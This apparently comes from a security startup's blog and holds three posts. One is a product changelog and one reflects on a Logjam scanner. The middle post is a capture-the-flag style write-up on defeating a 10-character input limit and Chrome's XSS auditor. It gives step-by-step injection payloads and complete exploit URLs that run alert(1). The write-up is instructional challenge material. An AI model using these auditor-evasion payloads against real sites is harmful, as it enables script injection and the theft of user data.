PatrolServer 1.0.1

We at PatrolServer aim to increase security by decreasing vulnerability of public servers on the internet. Last week our product PatrolServer was released to the public in an open beta. This tool continuously monitors outdated software and exploits on your server and informs you.

During the last week, a lot of people have tried this tool and also provided us with vital feedback. We carefully listened to the complaints, suggestions and compliments and also tried to react to all of them. The feedback is greatly appreciated and we will continue to listen to any information of our early-adopters.

In this small timeframe we were able to address some of the comments raised and will implement other suggestions in upcoming releases. Keep your feedback flowing!

New Features:

chathelpWe upgraded our way to submit feedback from within PatrolServer itself by integrating Zendesk. This also has as nice feature that while we are online, we can chat with the original submitter to request more information or help immediately. Search for help or chat inside the tool.

aspnetFor the open beta we were focused on linux servers, since that is our domain and since most servers are served using linux servers. During the release we got some feedback to also support ASP.NET. Therefore we added preliminary support for ASP.NET. The extensiveness of this detection will improve in the future and also IIS is on the roadmap. Stay tuned while we add Microsoft support.


atSome people seem to forget to add any servers or forget to verify their servers. As a result they didn’t get any reports or updates about the vulnerability of their server. To combat this we now send a reminder to everybody that signed up but didn’t add any servers or forgot to verify their server.

smartphoneThe tool is adjusted to work on mobile phones. Here we must thank the people which reported the issues they had on their phones. Normally we should be fully responsive now!

lockWe also added some extra security measurements, e.g. like a country lock. That should make your account even safer.

Full changelog:
- Fix PHP error for older PHP versions with the PHP detector
- Initial support for ASP.NET
- Disable sending mails of outdated software to unverified servers.
- Add a priority to scanning of servers
- Fix overlapping content on mobile
- Add hostmaster as potential verification mailer
- Implement Zendesk support in app
- More aggressively detect php
- Add mailer for empty accounts or not verified servers
- Force ssl on login
- Add second cpe name for nginx
- Add outdated debian versions lenny, etch, sarge
- Ubuntu support for lucid ended and for vivid started
- Keep the cron working without overlap
- Add statistics page
- Stress test: add 25.000 scans simultaneously
- Added more information about our company in the footer
- Added support for versions:
 * mysql: 5.5.43-0ubuntu0.14.10.2, 5.5.43-0ubuntu0.14.04.2,
          5.6.19-1~exp1ubuntu2.1, 5.6.19-0ubuntu0.14.04.2,
          5.5.44-0ubuntu0.14.10.1, 5.5.44-0ubuntu0.14.04.1,
          5.5.44-0ubuntu0.12.04.1, 5.6.19-0ubuntu0.14.04.3,
 * openssl: 1.0.1p, 1.0.2d
 * php: 5.6.11, 5.5.27, 5.4.43, 5.5.12+dfsg-2ubuntu4.6,
        5.5.9+dfsg-1ubuntu4.11, 5.3.10-1ubuntu3.19
 * apache: 2.4.16, 2.2.31
 * nginx: 1.9.3, 1.6.2-5ubuntu3.1

We hope to address your issue soonish,
The PatrolServer team

In the land of XSS ‘possibly safe’ means ‘exploitable’

XSS (or cross-site scripting) is an attack found in web applications, where malicious people try to inject data into websites in order to steal sensitive data. Despite efforts to decrease the opportunities it still is one of the most used attacks.

Detectify posted an XSS challenge related to a real case they found. The challenge, called “twins of ten”, checks every input and only allows 10 characters per input. To make the challenge even more fun they also required that the solution works with the chrome XSS auditor. This tool is used in Chrome to combat XSS exploits at the users side.

In the challenge one need to break the following php script (which emulates the found issue):

$q = urldecode($_SERVER['QUERY_STRING']);
$qs = explode('&', $q);
$qa = array();
$chars = 0;
foreach($qs as $q) {
	$q = explode('=', $q);
	$s = implode('=', $q);
	if(strlen($s) > 10) continue;
	$chars += strlen($s);
	$qa[] = $s;
foreach($qa as $q) {
	echo "<0123$q><b x=\"x\">foo</b></0123$q>";
echo '<!-- '.$chars.' chars long -->';

In this script the input is checked, but not good enough. The authors thought it would be safe to only make sure the inputs are 10 characters long. Ten characters is awfully little. The reasoning behinds this limit is probably along the line that the limit means it is almost impossible to attack. Though if we know something about hackers is that they are perseverant and a little potential crack is enough to get them interested and try to find a way to break it. This also applies to this script and we are going to prove it!

How can we exploit this?

When we go to the web page we can adjust some of the parameters with arbitrary data. The only constraint is that every value can only be 10 characters long:


This request will generate the following html code. It is visible that the values are injected into the html code without any alteration or checking of values:

<0123{1}><b x="x">foo</b></0123{1}><0123{2}><b x="x">foo</b></0123{2}><0123{3}><b x="x">foo</b></0123{3}><0123{4}><b x="x">foo</b></0123{4}>

Our goal is to adjust {1} to {n} and eventually show we can run arbitrary javascript code. For this example we will try to alert something:


Now before going further I would encourage everybody to think about this issue and try it out. It is a fun brain teaser, especially the part to fool the chrome XSS detector. The rest of the post is about a solution I found.

The first thing one need to try is to get a place within a script-tag where we can inject some javascript code. In this example there is no script-tag present, so we are responsible to inject a script-tag ourself. Let’s try this by splitting the tags over different inputs. If we do {1} => “><script>” and {2} => “></script>” we will get:

<0123><script>><b x="x">foo</b></0123><script>><0123></script>><b x="x">foo</b></0123></script>>

This brings us closer. We injected a script open and close tag. That is already good. Only the code inside the tags are nonsense. We need to come up with a way to sanitize this. Due to the limit we don’t have a lot of wiggle room. In most languages there is something to comment the code, e.g. /*, //, <!–. So lets have a look if we can use that here:

{1} => "><script>/*"
{2} => "*/</script>"
<0123><script>/*><b x="x">foo</b></0123><script>/*><0123*/</script>><b x="x">foo</b></0123*/</script>>

This seems to work. We successfully made the code valid by putting the in between html tag become comments. Though we need to address two things.

1) The first item ({1}) is actually 11 characters. This will fail, since only 10 characters are allowed. Luckily for us we can abuse the system a bit, since we can remove the first ‘>’. Almost all browsers will assume the first <0123 actually wasn’t a tag and the user forgot to use &lt;

{1} => "<script>/*"
{2} => "*/</script>"
<0123<script>/*><b x="x">foo</b></0123<script>/*><0123*/</script>><b x="x">foo</b></0123*/</script>>

Which fixes the first issue.

2) Chrome has an XSS auditor in the browser that with some heuristics tries to detects injected javascript code and stops the attack. This measure is to protect their users to make sure that even if a website is vulnerable, the user is still protected. This examples triggers the auditor and as a result the code in between the tags won’t get executed.

The same happens when trying:

{1} => "<script>//"
{2} => "\n</script>"
<0123<script>//><b x="x">foo</b></0123<script>//><0123
</script>><b x="x">foo</b></0123

So the hard part about the challenge here was to fool the chrome auditor. There are a lot of examples on how to fool the auditor, but most are already outdated. Chrome improves their auditor, making it harder every time. Though since this is based on heuristics we might find a way to fool the browser.

As a result I searched a bit to get more information about the auditor:

The last link even has some examples that are still possible with the newest chrome release. But I couldn’t use them in my example. But I learned some tricks to fool the auditor. It seems that the content inside the script-tag is compared with the provided input and when that is found it will fail. Also it sometimes doesn’t look at anything behind the “//”. And one need to make sure that most of the code is actually original code, not related the parameters.

I had to try a lot of possible inputs that didn’t fool the auditor, had to almost give up a couple of times, try again, see the auditor calling my bluffs again, reiterating, before I could finally find a snippit that worked.

In order to achieve an attack, I had to fool the auditor that the existing code wasn’t removed, but was still part of the javascript code. That was the reason comments didn’t work. I found that creating unused strings out of them was a strategy the auditor didn’t detect (yet?):

{1} => "<script>//"
{2} => "'\n;'+"
{3} => "'</script"
<0123<script>//><b x="x">foo</b></0123<script>//><0123'
;'+><b x="x">foo</b></0123'
;'+><0123'</script><b x="x">foo</b></0123'</script>

So anything we put in {2} after the newline is javascript code that will run. We don’t have much space, since we only have 10 characters and we already use 5 characters to ‘remove’ the extra html code. So we have 5 characters to do something. Another issue that we need to work around is the fact that every 5 characters we write will get executed twice. So we cannot do anything that would be wrong when getting executed twice. But given those constraints we can repeat {2} multiple times to finally start executing vulnerable code.

{2} => "'\nXXXXX;'+"

In order to do this there are probably multiple ways. I went with the idea to create the string “alert”. Which is doable in only 5 characters:

a='a' // 5 chars
l='l' // 5 chars
e='e' // 5 chars
r='r' // 5 chars
t='t' // 5 chars
b=a+l // 5 chars
c=b+e // 5 chars
d=c+r // 5 chars
e=d+t // 5 chars; e now contains "alert"

Now the issues start into invoking the string. It is possible to do this[a] which will return the alert function instead given the string alert. That seems good, but we need 6 characters for this:

t=this // 6 chars;
s=t[e] // 6 chars; s now contains the function alert

s(1) // 4 chars; alert(1)!!! 

Here I went and thought back about the issue why we didn’t use comments instead of strings to hide the existing html tags. We wanted to fool the auditor. Now it seems that after our first little hack, the third input doesn’t need this special format. We fooled the auditor and our third parameter had a little bit of more freedom. As a result I could transform the input to:

{3} => "'\nXXXXXX//"
{1} => "<script>//"
{2} => "'\nfoo1;'+"
{3} => "'\nfoo2//"
{4} => "'</script"
<0123<script>//><b x="x">foo</b></0123<script>//><0123'
foo1;'+><b x="x">foo</b></0123'
foo2//><b x="x">foo</b></0123'
foo2//><0123'</script><b x="x">foo</b></0123'</script>

Which meant there we have 6 characters at our disposal. Just the amount we needed. There is only one hurdle left. If we run the code with the small chunks listed above we will alert twice. That is not the intention. We want to only alert once. We need to remove the first or second occurrence.

I did this by promoting the first occurrence into the string I used to ‘remove’ the original code.

{1} => "<script>//"
{2} => "'\n;'+"
{3} => "\\\nfoo2;'//"
{4} => "'</script"
<0123<script>//><b x="x">foo</b></0123<script>//><0123'
;'+><b x="x">foo</b></0123'
foo2;'//><b x="x">foo</b></0123\
foo2;'//><0123'</script><b x="x">foo</b></0123'</script>

Putting this all together we get the following inputs:

{1}  => "<script>//"
{2}  => "'\na='a';'+"
{3}  => "'\nl='l';'+"
{4}  => "'\ne='e';'+"
{5}  => "'\nr='r';'+"
{6}  => "'\nt='t';'+"
{7}  => "'\nb=a+l;'+"
{8}  => "'\nc=b+e;'+"
{9}  => "'\nd=c+r;'+"
{10} => "'\ne=d+t;'+"
{11} => "'\nt=this//"
{12} => "'\nk=t[e]//"
{13} => "\\\nk(1);'//"
{14} => "'</script"

The php script at the beginning of this post can now get compromised just by running: example.php?a=<script>%2F%2F&a=%27%0Aa%3D%27a%27%3B%27%2B&a=%27%0Al%3D%27l%27%3B%27%2B&a=%27%0Ae%3D%27e%27%3B%27%2B&a=%27%0Ar%3D%27r%27%3B%27%2B&a=%27%0At%3D%27t%27%3B%27%2B&a=%27%0Ab%3Da%2Bl%3B%27%2B&a=%27%0Ac%3Db%2Be%3B%27%2B&a=%27%0Ad%3Dc%2Br%3B%27%2B&a=%27%0Ae%3Dd%2Bt%3B%27%2B&a=%27%0At%3Dthis%2F%2F&a=%27%0Ak%3Dt%5Be%5D%2F%2F&a=%5C%0Ak%281%29%3B%27%2F%2F&a=%27<%2Fscript

Edit: this isn’t the smallest possible attack. With some tricks it is possible to write up to 7 characters in a one go. As a result it is not needed to create a string for “alert” and execute it through “this”. But it shows some of the thinking and tricks that can be used to create an attack. The smallest set I found was:

{1}  => "<script>//"
{2}  => "'\n'+"
{3}  => "'\n//"
{4}  => "\ne=alert//"
{5}  => "\\\ne(1);'//"
{6}  => "'</script"

Which yields the following url: example.php?a=%3Cscript%3E%2F%2F&a=%27%0A%27%2B&a=%27%0A%2F%2F&a=%0Ae%3Dalert%2F%2F&a=%5C%0Ae%281%29%3B%27%2F%2F&a=%27%3C%2Fscript

Feel free to take the challenge to better my personal record and contact me on twitter using @patrolserver and I will update this post with your record and name and maybe even buy you a beer ;).

Aftermath of Logjam

Last week the logjam attack was disclosed. An attack on TLS which is used in many protocol including including HTTPS, SSH, IPsec, SMTPS … The attack relies on the fact that it is possible to negotiate inferior keys for the Diffie-Hellman key exchange. An nice explanation has been put together by cloudflare

We are currently creating PatrolServer, a webapp that will check servers for potential outdated software and possible exploits. This TLS attack was a nice welcome for us to test our capabilities and what we can expect from such a webapp. We created a small scanner where people could provide and test their website/server.

Since it was our first time, it took quite some time before our scanner was ready. We weren’t prepared and still had to make a small infrastructure for this one-off test and add a little bit of a decent layout. Half a day after the facts we were live and we could redirect people to our tool and hope they would fix their server.

“To measure is to know”Sir William Thomson

Our first objective on getting people to test their server went smoothly. Over three days we were just short of testing 2000 unique servers. In most cases their own server, but some people also were naughty enough to test corporate servers like google, gmail, banks, yahoo, reddit … We even had somebody out of Toledo (Spain) abusing the system to generate a list of all vulnerable sites. Upon detection he was off course banned. Some ideas came to mind like always returning either vulnerable or not vulnerable or even returning random results. Though we decided to just hide the results. Maybe we can do something alike next time. We also got a request on twitter ( to enable SNI hosts. Which we didn’t supported at the time. We want to thanks everybody that used the tool and the suggestions. Always appreciated.

“Those who have the privilege to know have the duty to act.” — Albert Einstein

The second objective, the paramount goal of our little startup, is to get people to fix their servers. The Open Web Application Security Project (OWASP) scored server misconfiguration and not updating servers on the fifth position in their top 10 web application security list. On our tool we saw a lot of servers were outdated. We saw that 30% of our tests returned an affected state.

A week later we reran the list to see how things have progressed and saw only one server that actually fixed the problem afterwards. That is quite low. People know their server has a problem, but they don’t act on it. We assume that is something we will also see in the full webapp. The biggest goal of PatrolServer, after reporting issues with a server, will be to engage people to fix the issues. How is a bigger question. We are still trying to figure that part out. We already have a lot of ideas, but also need to find the right balance between annoying people and being helpful about vulnerabilities. If you got a suggestion please let us know!

Closing remarks: PatrolServer is getting actively developed. The platform to detect outdated software is in place. We already have support for some software, but we still want to increase the list. The frontend has gotten some layout love, which isn’t quite finished yet. In the close future we will probably start a closed or open beta in order to get some early feedback. Anybody wanting to get notified about this milestone and/or anybody wanting to test drive the platform on their server can enter their email address here: